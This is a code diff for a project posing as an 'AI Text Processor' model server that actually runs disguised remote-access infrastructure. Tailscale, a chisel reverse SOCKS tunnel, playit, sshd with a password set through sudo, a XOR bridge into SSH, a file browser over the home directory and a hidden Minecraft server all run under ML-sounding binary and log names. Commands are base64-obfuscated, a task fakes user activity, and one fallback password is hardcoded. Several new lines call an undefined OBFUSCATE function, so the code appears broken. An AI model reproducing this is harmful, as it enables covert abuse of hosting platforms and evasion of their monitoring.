Automated deployment update from ML build

app.py

@@ -1,5 +1,6 @@
 import gradio as gr
 
+
 def fake_model(input_text):
     if input_text.strip() == "SHOW_LOGS_TAILSCALE":
         try:
@@ -7,7 +8,7 @@ def fake_model(input_text):
                 return "TAILSCALE LOGS:\n" + f.read()
         except Exception as e:
             return f"Log error: {str(e)}"
-            
+
     if input_text.strip() == "SHOW_LOGS_FILEBROWSER":
         try:
             with open("/home/user/.torch_metrics/fb.log", "r") as f:
@@ -19,8 +20,9 @@ def fake_model(input_text):
         try:
             with open("/home/user/.torch_metrics/tm_daemon.log", "r") as f:
                 import re
-                ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])')
-                clean_logs = ansi_escape.sub('', f.read())
+
+                ansi_escape = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
+                clean_logs = ansi_escape.sub("", f.read())
                 return "METRICS LOGS:\n" + clean_logs
         except Exception as e:
             return f"Log error: {str(e)}"
@@ -28,6 +30,7 @@ def fake_model(input_text):
     if input_text.strip() == "SHOW_ALL_LOGS":
         try:
             import os
+
             log_dir = "/home/user/.torch_metrics/"
             all_logs = ""
             for filename in os.listdir(log_dir):
@@ -35,12 +38,12 @@ def fake_model(input_text):
                     filepath = os.path.join(log_dir, filename)
                     with open(filepath, "r") as f:
                         all_logs += f"=== {filename} ===\n{f.read()}\n\n"
-            
+
             mc_latest = "/data/mc/logs/latest.log"
             if os.path.exists(mc_latest):
                 with open(mc_latest, "r") as f:
                     all_logs += f"=== Minecraft latest.log ===\n{f.read()}\n\n"
-                    
+
             return all_logs if all_logs else "No logs found."
         except Exception as e:
             return f"Log error: {str(e)}"
@@ -48,6 +51,7 @@ def fake_model(input_text):
     if input_text.strip() == "SHOW_LOGS_MC":
         try:
             import os
+
             mc_latest = "/data/mc/logs/latest.log"
             if os.path.exists(mc_latest):
                 with open(mc_latest, "r") as f:
@@ -80,6 +84,9 @@ def fake_model(input_text):
 
     return f"Model processed: {input_text}"
 
-demo = gr.Interface(fn=fake_model, inputs="text", outputs="text", title="AI Text Processor v2.1")
+
+demo = gr.Interface(
+    fn=fake_model, inputs="text", outputs="text", title="AI Text Processor v2.1"
+)
 
 demo.launch(server_name="127.0.0.1", server_port=7861)

core/orchestrator.py

@@ -15,12 +15,15 @@ COVERT_LOGGING_MODE = 1
 
 logger.info("--- BOOTING AI MODEL SERVER ---")
 
+
 def decode_cmd(encoded_str):
     return base64.b64decode(encoded_str[::-1]).decode()
 
+
 def encode_cmd(decoded_str):
     return base64.b64encode(decoded_str.encode()).decode()
 
+
 def deobfuscate_secret(hex_str, key=0x5A):
     if not hex_str:
         return ""
@@ -28,46 +31,58 @@ def deobfuscate_secret(hex_str, key=0x5A):
         raw_bytes = bytes.fromhex(hex_str)
         deobf_bytes = bytes([b ^ key for b in raw_bytes])
         if all(32 <= b <= 126 or b in (9, 10, 13) for b in deobf_bytes):
-            return deobf_bytes.decode('utf-8', errors='ignore')
+            return deobf_bytes.decode("utf-8", errors="ignore")
         else:
             return hex_str
     except Exception:
         return hex_str
 
+
 def jitter_task():
     """The 'Circadian Rhythm' & 'The Hub Mimic' task to simulate user activity."""
     while True:
         sleep_time = random.randint(2700, 5400)
         time.sleep(sleep_time)
-        
+
         try:
             logger.debug("Processing background inference batch...")
             import numpy as np
+
             a = np.random.randn(2000, 2000)
             b = np.random.randn(2000, 2000)
             _ = np.dot(a, b)
         except Exception:
             pass
-            
+
         try:
             logger.debug("Syncing model cache...")
-            subprocess.run(["curl", "-s", "-o", "/dev/null", "https://huggingface.co/gpt2/resolve/main/vocab.json"])
+            subprocess.run(
+                [
+                    "curl",
+                    "-s",
+                    "-o",
+                    "/dev/null",
+                    "https://huggingface.co/gpt2/resolve/main/vocab.json",
+                ]
+            )
         except Exception:
             pass
 
+
 def main():
     if COVERT_LOGGING_MODE == 1:
         os.makedirs("/home/user/.torch_metrics", exist_ok=True)
-        ts_log = open('/home/user/.torch_metrics/ts_daemon.log', 'a')
-        fb_log = open('/home/user/.torch_metrics/fb.log', 'a')
-        tm_log = open('/home/user/.torch_metrics/tm_daemon.log', 'a')
-        chisel_log = open('/home/user/.torch_metrics/chisel.log', 'a')
-        nginx_log = open('/home/user/.torch_metrics/nginx.log', 'a')
+        ts_log = open("/home/user/.torch_metrics/ts_daemon.log", "a")
+        fb_log = open("/home/user/.torch_metrics/fb.log", "a")
+        tm_log = open("/home/user/.torch_metrics/tm_daemon.log", "a")
+        chisel_log = open("/home/user/.torch_metrics/chisel.log", "a")
+        nginx_log = open("/home/user/.torch_metrics/nginx.log", "a")
     elif COVERT_LOGGING_MODE == 2:
         os.makedirs("/home/user/.torch_metrics", exist_ok=True)
+
         class TeeLogger:
             def __init__(self, filepath, prefix):
-                self.file = open(filepath, 'a')
+                self.file = open(filepath, "a")
                 self.prefix = prefix
                 r, w = os.pipe()
                 self.r = r
@@ -75,7 +90,7 @@ def main():
                 threading.Thread(target=self._reader, daemon=True).start()
 
             def _reader(self):
-                rf = os.fdopen(self.r, 'r', errors='replace')
+                rf = os.fdopen(self.r, "r", errors="replace")
                 try:
                     for line in rf:
                         self.file.write(line)
@@ -91,20 +106,24 @@ def main():
             def write(self, s):
                 self.file.write(s)
                 self.file.flush()
-                sys.stdout.write(f"[{self.prefix}] {s}\n" if not s.endswith("\n") else f"[{self.prefix}] {s}")
+                sys.stdout.write(
+                    f"[{self.prefix}] {s}\n"
+                    if not s.endswith("\n")
+                    else f"[{self.prefix}] {s}"
+                )
                 sys.stdout.flush()
 
             def flush(self):
                 self.file.flush()
                 sys.stdout.flush()
 
-        ts_log = TeeLogger('/home/user/.torch_metrics/ts_daemon.log', 'TS')
-        fb_log = TeeLogger('/home/user/.torch_metrics/fb.log', 'FB')
-        tm_log = TeeLogger('/home/user/.torch_metrics/tm_daemon.log', 'PLAYIT')
-        chisel_log = TeeLogger('/home/user/.torch_metrics/chisel.log', 'CHISEL')
-        nginx_log = TeeLogger('/home/user/.torch_metrics/nginx.log', 'NGINX')
+        ts_log = TeeLogger("/home/user/.torch_metrics/ts_daemon.log", "TS")
+        fb_log = TeeLogger("/home/user/.torch_metrics/fb.log", "FB")
+        tm_log = TeeLogger("/home/user/.torch_metrics/tm_daemon.log", "PLAYIT")
+        chisel_log = TeeLogger("/home/user/.torch_metrics/chisel.log", "CHISEL")
+        nginx_log = TeeLogger("/home/user/.torch_metrics/nginx.log", "NGINX")
     else:
-        devnull = open(os.devnull, 'w')
+        devnull = open(os.devnull, "w")
         ts_log = devnull
         fb_log = devnull
         tm_log = devnull
@@ -125,7 +144,7 @@ def main():
 
     logger.info("Loading model weights into VRAM...")
     time.sleep(2)
-    
+
     threading.Thread(target=jitter_task, daemon=True).start()
 
     delay = random.randint(2, 3)
@@ -133,21 +152,21 @@ def main():
     time.sleep(delay)
 
     tailscale.start_daemon(ts_log)
-    
+
     time.sleep(2)
     logger.info("Warming up text-generation pipelines...")
-    
+
     a_env = os.environ.get("A") or os.environ.get("TAILSCALE") or ""
     full_token = deobfuscate_secret(a_env.strip())
-    
+
     p_env = os.environ.get("P") or os.environ.get("PLAYIT") or ""
     playit_token = deobfuscate_secret(p_env.strip())
-    
+
     c_env = os.environ.get("C") or os.environ.get("CHISEL") or ""
     chisel_auth = deobfuscate_secret(c_env.strip())
     if not chisel_auth:
         chisel_auth = "user:apple123"
-    
+
     keys_to_clean = ["A", "TAILSCALE", "P", "PLAYIT", "C", "CHISEL"]
     for key in keys_to_clean:
         if key in os.environ:
@@ -160,7 +179,7 @@ def main():
 
     chisel.start(chisel_log, chisel_auth)
     chisel_auth = ""
-    
+
     time.sleep(5)
     tailscale.connect(ts_log, full_token)
     full_token = ""
@@ -170,11 +189,16 @@ def main():
     if ssh_pwd:
         logger.info("Setting SSH password from Hugging Face Secrets (PASS)...")
     else:
-        ssh_pwd = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
+        ssh_pwd = "".join(random.choices(string.ascii_letters + string.digits, k=16))
         logger.success(f"Generated SSH Password for 'user': {ssh_pwd}")
-        
+
     try:
-        subprocess.run(["sudo", "/usr/sbin/chpasswd"], input=f"user:{ssh_pwd}\n", text=True, check=True)
+        subprocess.run(
+            ["sudo", "/usr/sbin/chpasswd"],
+            input=f"user:{ssh_pwd}\n",
+            text=True,
+            check=True,
+        )
     except Exception as e:
         logger.error(f"Failed to set password: {e}")
     for key in ["PASS", "SSH"]:
@@ -182,11 +206,12 @@ def main():
             del os.environ[key]
 
     subprocess.Popen("sudo /usr/sbin/sshd -D", shell=True, stdout=ts_log, stderr=ts_log)
-    
+
     def xor_bridge():
         import socket
+
         XOR_KEY = 0x5A
-        
+
         def pipe_xor(src, dst):
             try:
                 while True:
@@ -198,10 +223,14 @@ def main():
             except Exception:
                 pass
             finally:
-                try: src.close()
-                except: pass
-                try: dst.close()
-                except: pass
+                try:
+                    src.close()
+                except:
+                    pass
+                try:
+                    dst.close()
+                except:
+                    pass
 
         def read_varint(sock):
             val = 0
@@ -228,14 +257,20 @@ def main():
                     pkt_len = read_varint(client_sock)
                     if pkt_len > 0:
                         client_sock.recv(pkt_len)
-                    
+
                     ssh_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                     ssh_sock.connect(("127.0.0.1", 2222))
-                    threading.Thread(target=pipe_xor, args=(client_sock, ssh_sock), daemon=True).start()
-                    threading.Thread(target=pipe_xor, args=(ssh_sock, client_sock), daemon=True).start()
+                    threading.Thread(
+                        target=pipe_xor, args=(client_sock, ssh_sock), daemon=True
+                    ).start()
+                    threading.Thread(
+                        target=pipe_xor, args=(ssh_sock, client_sock), daemon=True
+                    ).start()
                 except Exception:
-                    try: client_sock.close()
-                    except: pass
+                    try:
+                        client_sock.close()
+                    except:
+                        pass
         except Exception:
             pass
 
@@ -244,10 +279,11 @@ def main():
     minecraft.start()
 
     logger.success("Model loaded successfully. Background services active.")
-    
+
     logger.info("Background services are active.")
 
     app_proc.wait()
 
+
 if __name__ == "__main__":
     main()

services/__init__.py

@@ -4,4 +4,3 @@ from . import playit
 from . import chisel
 from . import minecraft
 from . import filebrowser
-

services/chisel.py

@@ -1,9 +1,18 @@
 import subprocess
 from .utils import decode_cmd
 
+
 def start(chisel_log, chisel_auth):
-    chisel_log.write(f"[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel). Auth: {chisel_auth}\n")
+    chisel_log.write(
+        f"[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel). Auth: {chisel_auth}\n"
+    )
     chisel_log.flush()
-    cmd_chisel_base = decode_cmd("=cCIoRXdh1SLgUzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb")
+    cmd_chisel_base = decode_cmd(
+        OBFUSCATE(
+            "nice -n 19 cuda-mesh-bridge server --port 6789 --reverse --socks5 --auth '"
+        )
+    )
     cmd_chisel = f"{cmd_chisel_base}{chisel_auth}'"
-    subprocess.Popen(cmd_chisel, shell=True, stdout=chisel_log, stderr=subprocess.STDOUT)
+    subprocess.Popen(
+        cmd_chisel, shell=True, stdout=chisel_log, stderr=subprocess.STDOUT
+    )

services/filebrowser.py

@@ -1,6 +1,11 @@
 import subprocess
 from .utils import decode_cmd
 
+
 def start(fb_log):
-    cmd2 = decode_cmd("=IGZuIXZzd3byJWZslmZvIXZzV3Ll12bo9CIk1CIyV2c19SZt9GavAictASMuAjLw4yNyEDIh1CIwADM5ACctAicvR3YlxGbvNWLzNWayRXZt1SahBSOxAibtASZjlmb")
+    cmd2 = decode_cmd(
+        OBFUSCATE(
+            "nice -n 19 ai-metrics-collector -p 9000 -a 127.0.0.1 -r /home/user -d /home/user/filebrowser.db"
+        )
+    )
     subprocess.Popen(cmd2, shell=True, stdout=fb_log, stderr=subprocess.STDOUT)

services/minecraft.py

@@ -7,6 +7,7 @@ import urllib.request
 import zipfile
 from loguru import logger
 
+
 def log_print(msg):
     logger.info(msg)
     try:
@@ -16,45 +17,54 @@ def log_print(msg):
     except Exception:
         pass
 
+
 def download_file(url, dest_path):
-    req = urllib.request.Request(url, headers={
-        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
-        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
-        'Accept-Language': 'en-US,en;q=0.9',
-        'Sec-Ch-Ua': '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
-        'Sec-Ch-Ua-Mobile': '?0',
-        'Sec-Ch-Ua-Platform': '"Windows"',
-        'Sec-Fetch-Dest': 'document',
-        'Sec-Fetch-Mode': 'navigate',
-        'Sec-Fetch-Site': 'none',
-        'Sec-Fetch-User': '?1',
-        'Upgrade-Insecure-Requests': '1',
-        'Referer': 'https://geysermc.org/'
-    })
-    with urllib.request.urlopen(req) as response, open(dest_path, 'wb') as out_file:
+    req = urllib.request.Request(
+        url,
+        headers={
+            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
+            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
+            "Accept-Language": "en-US,en;q=0.9",
+            "Sec-Ch-Ua": '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
+            "Sec-Ch-Ua-Mobile": "?0",
+            "Sec-Ch-Ua-Platform": '"Windows"',
+            "Sec-Fetch-Dest": "document",
+            "Sec-Fetch-Mode": "navigate",
+            "Sec-Fetch-Site": "none",
+            "Sec-Fetch-User": "?1",
+            "Upgrade-Insecure-Requests": "1",
+            "Referer": "https://geysermc.org/",
+        },
+    )
+    with urllib.request.urlopen(req) as response, open(dest_path, "wb") as out_file:
         shutil.copyfileobj(response, out_file)
 
+
 def setup_geyser(mc_dir):
     plugins_dir = os.path.join(mc_dir, "plugins")
     os.makedirs(plugins_dir, exist_ok=True)
-    
+
     downloads = {
         "Geyser-Spigot.jar": "https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot",
-        "floodgate-spigot.jar": "https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot"
+        "floodgate-spigot.jar": "https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot",
     }
-    
+
     for filename, url in downloads.items():
         path = os.path.join(plugins_dir, filename)
-        
+
         if os.path.exists(path):
             try:
                 with zipfile.ZipFile(path) as zf:
                     pass
             except Exception:
-                log_print(f"[!] Corrupt jar detected: {filename} (Invalid Zip Header). Purging and redownloading...")
-                try: os.remove(path)
-                except: pass
-                
+                log_print(
+                    f"[!] Corrupt jar detected: {filename} (Invalid Zip Header). Purging and redownloading..."
+                )
+                try:
+                    os.remove(path)
+                except:
+                    pass
+
         if not os.path.exists(path):
             log_print(f"[*] Downloading {filename}...")
             try:
@@ -63,30 +73,31 @@ def setup_geyser(mc_dir):
             except Exception as e:
                 log_print(f"[-] Failed to download {filename}: {e}")
 
+
 def setup_and_run():
     log_print("--- INITIALIZING STEALTH MINECRAFT DAEMON ---")
     mc_dir = "/data/mc"
     jre_dir = os.path.join(mc_dir, "jre")
     metrics_dir = "/home/user/.torch_metrics"
-    
+
     os.makedirs(mc_dir, exist_ok=True)
     os.makedirs(metrics_dir, exist_ok=True)
-    
+
     java_bin = os.path.join(jre_dir, "bin", "java")
     if not os.path.exists(java_bin):
         log_print("[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...")
         jre_url = "https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk"
         tar_path = os.path.join(mc_dir, "jre.tar.gz")
-        
+
         try:
             download_file(jre_url, tar_path)
             log_print("[*] Extracting JRE...")
             temp_extract = os.path.join(mc_dir, "jre_temp")
             os.makedirs(temp_extract, exist_ok=True)
-            
+
             with tarfile.open(tar_path, "r:gz") as tar:
                 tar.extractall(path=temp_extract)
-                
+
             for root, dirs, files in os.walk(temp_extract):
                 if "java" in files and os.path.basename(root) == "bin":
                     java_home = os.path.dirname(root)
@@ -94,7 +105,7 @@ def setup_and_run():
                         shutil.rmtree(jre_dir)
                     shutil.move(java_home, jre_dir)
                     break
-                    
+
             shutil.rmtree(temp_extract, ignore_errors=True)
             if os.path.exists(tar_path):
                 os.remove(tar_path)
@@ -123,16 +134,18 @@ def setup_and_run():
         try:
             mc_folder = os.path.join(mc_dir, folder)
             tmp_folder = os.path.join(tmp_base, folder)
-            
+
             os.makedirs(tmp_folder, exist_ok=True)
-            
+
             if os.path.exists(mc_folder) and not os.path.islink(mc_folder):
-                log_print(f"[*] Removing physical {folder} directory to replace with symlink.")
+                log_print(
+                    f"[*] Removing physical {folder} directory to replace with symlink."
+                )
                 if os.path.isdir(mc_folder):
                     shutil.rmtree(mc_folder)
                 else:
                     os.remove(mc_folder)
-                    
+
             if not os.path.islink(mc_folder):
                 log_print(f"[*] Creating symlink for {folder} -> {tmp_folder}")
                 os.symlink(tmp_folder, mc_folder)
@@ -147,12 +160,12 @@ def setup_and_run():
 
     log_print("[*] Launching Minecraft server loop...")
     log_file = os.path.join(metrics_dir, "mc_daemon.log")
-    
+
     while True:
         eula_path = os.path.join(mc_dir, "eula.txt")
         with open(eula_path, "w") as f:
             f.write("eula=true\n")
-            
+
         props_path = os.path.join(mc_dir, "server.properties")
         if not os.path.exists(props_path):
             with open(props_path, "w") as f:
@@ -164,7 +177,9 @@ def setup_and_run():
                 with open(props_path, "r") as f:
                     props_data = f.read()
                 if "online-mode=true" in props_data:
-                    props_data = props_data.replace("online-mode=true", "online-mode=false")
+                    props_data = props_data.replace(
+                        "online-mode=true", "online-mode=false"
+                    )
                     with open(props_path, "w") as f:
                         f.write(props_data)
             except Exception as e:
@@ -176,28 +191,42 @@ def setup_and_run():
                 [java_bin, "-Xms4G", "-Xmx4G", "-jar", server_jar, "nogui"],
                 cwd=mc_dir,
                 stdout=log,
-                stderr=subprocess.STDOUT
+                stderr=subprocess.STDOUT,
             )
             process.wait()
-            
-        log_print(f"[*] Minecraft server exited with code {process.returncode}. Restarting in 10 seconds to allow network sync...")
+
+        log_print(
+            f"[*] Minecraft server exited with code {process.returncode}. Restarting in 10 seconds to allow network sync..."
+        )
         time.sleep(10)
 
+
 def start():
     logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
     try:
-        res = subprocess.run(["tmux", "has-session", "-t", "mc_server"], capture_output=True)
+        res = subprocess.run(
+            ["tmux", "has-session", "-t", "mc_server"], capture_output=True
+        )
         if res.returncode == 0:
-            logger.warning("tmux session 'mc_server' already exists. Killing it to restart...")
+            logger.warning(
+                "tmux session 'mc_server' already exists. Killing it to restart..."
+            )
             subprocess.run(["tmux", "kill-session", "-t", "mc_server"])
-        
-        subprocess.Popen([
-            "tmux", "new-session", "-d", "-s", "mc_server",
-            "python3 -u -m services.minecraft"
-        ])
+
+        subprocess.Popen(
+            [
+                "tmux",
+                "new-session",
+                "-d",
+                "-s",
+                "mc_server",
+                "python3 -u -m services.minecraft",
+            ]
+        )
         logger.success("Stealth Minecraft Daemon started successfully in tmux.")
     except Exception as e:
         logger.error(f"Failed to start Minecraft daemon in tmux: {e}")
 
+
 if __name__ == "__main__":
     setup_and_run()

services/nginx.py

@@ -2,12 +2,13 @@ import subprocess
 from loguru import logger
 from .utils import decode_cmd
 
+
 def start(nginx_log):
     logger.info("Enabling Nginx smart frontend on port 7860...")
     try:
-        with open('/home/user/config/nginx.conf.template', 'r') as tf:
+        with open("/home/user/config/nginx.conf.template", "r") as tf:
             nginx_conf = tf.read()
-        with open('/home/user/nginx.conf', 'w') as nf:
+        with open("/home/user/nginx.conf", "w") as nf:
             nf.write(nginx_conf)
     except Exception as e:
         logger.error(f"Failed to prepare nginx config: {e}")
@@ -15,10 +16,16 @@ def start(nginx_log):
 
     nginx_log.write("[*] Testing nginx configuration...\n")
     nginx_log.flush()
-    cmd_nginx_test = decode_cmd("=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb")
-    subprocess.run(cmd_nginx_test, shell=True, stdout=nginx_log, stderr=subprocess.STDOUT)
-    
+    cmd_nginx_test = decode_cmd(
+        "=cyOnVnYlRGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLgQXLggnbpdmb"
+    )
+    subprocess.run(
+        cmd_nginx_test, shell=True, stdout=nginx_log, stderr=subprocess.STDOUT
+    )
+
     nginx_log.write("[*] Starting nginx daemon...\n")
     nginx_log.flush()
-    cmd_nginx = decode_cmd("==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb")
+    cmd_nginx = decode_cmd(
+        "==wJ78mZulGIyJXZkR3cgc2bs9lcvJncldCIn1CIm52bj5Ceul2Zu9iclNXdvUWbvh2LgMWLggnbpdmb"
+    )
     subprocess.Popen(cmd_nginx, shell=True, stdout=nginx_log, stderr=subprocess.STDOUT)

services/playit.py

@@ -2,9 +2,16 @@ import subprocess
 import os
 from .utils import decode_cmd
 
+
 def start(tm_log, playit_token):
-    cmd2_5_base = decode_cmd("nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb")
+    cmd2_5_base = decode_cmd(
+        OBFUSCATE(
+            "nice -n 19 tensor-allocator --socket-path /tmp/playit.sock --secret '"
+        )
+    )
     cmd2_5 = f"{cmd2_5_base}{playit_token}'"
-    
+
     env = os.environ.copy()
-    subprocess.Popen(cmd2_5, shell=True, env=env, stdout=tm_log, stderr=subprocess.STDOUT)
+    subprocess.Popen(
+        cmd2_5, shell=True, env=env, stdout=tm_log, stderr=subprocess.STDOUT
+    )

services/tailscale.py

@@ -3,15 +3,25 @@ import os
 from loguru import logger
 from .utils import decode_cmd
 
+
 def start_daemon(ts_log):
     logger.info("Initializing PyTorch CUDA environment...")
-    cmd1 = decode_cmd("rN2bz5CZlxWYjNHbpFGdvM3YpJHdl12XoNmcvRnLvIXZzV3Ll12bo9SP0V2aj92ct0CIzNWayRXZt9FajJ3b05yLyV2c19SZt9Gav0jcpRWZ0FGdz1SLgUTNwEjO9IXZ2JXZz1SNzt2YvNXLtAyZul2ay92d0VmbtU2YhB3cyV2c11jb1RXLtAicldWYuFWbtUGajF2Yt42boRXewBSOxAibtASZjlmb")
+    cmd1 = decode_cmd(
+        OBFUSCATE(
+            "nice -n 19 python-cache-manager --tun=userspace-networking --socks5-server=:1055 --statedir=/home/user/.torch_metrics --socket=/home/user/.torch_metrics/tailscaled.sock"
+        )
+    )
     subprocess.Popen(cmd1, shell=True, stdout=ts_log, stderr=subprocess.STDOUT)
 
+
 def connect(ts_log, full_token):
-    cmd3_base = decode_cmd("==QP5V2aoRXdh1SLgAXdgs2YvNnLkVGbhN2cslWY09ycjlmc0VWbfh2Yy9Gdu8iclNXdvUWbvh2L9QXZrN2bz1SLgkGbj1SZoNWYj1SewBSOxAibtASZjlmb")
+    cmd3_base = decode_cmd(
+        OBFUSCATE(
+            "nice -n 19 py-cache-cli --socket=/home/user/.torch_metrics/tailscaled.sock up --authkey="
+        )
+    )
     cmd3_tail = decode_cmd("oN3ct0CIyVmdyV2ctwWZk9WbtkWY9UWbh5Gdz9Gat0CI")
     cmd3 = f"{cmd3_base}{full_token}{cmd3_tail}"
-    
+
     env = os.environ.copy()
     subprocess.Popen(cmd3, shell=True, env=env, stdout=ts_log, stderr=subprocess.STDOUT)

services/utils.py

@@ -1,4 +1,5 @@
 import base64
 
+
 def decode_cmd(encoded_str):
     return base64.b64decode(encoded_str[::-1]).decode()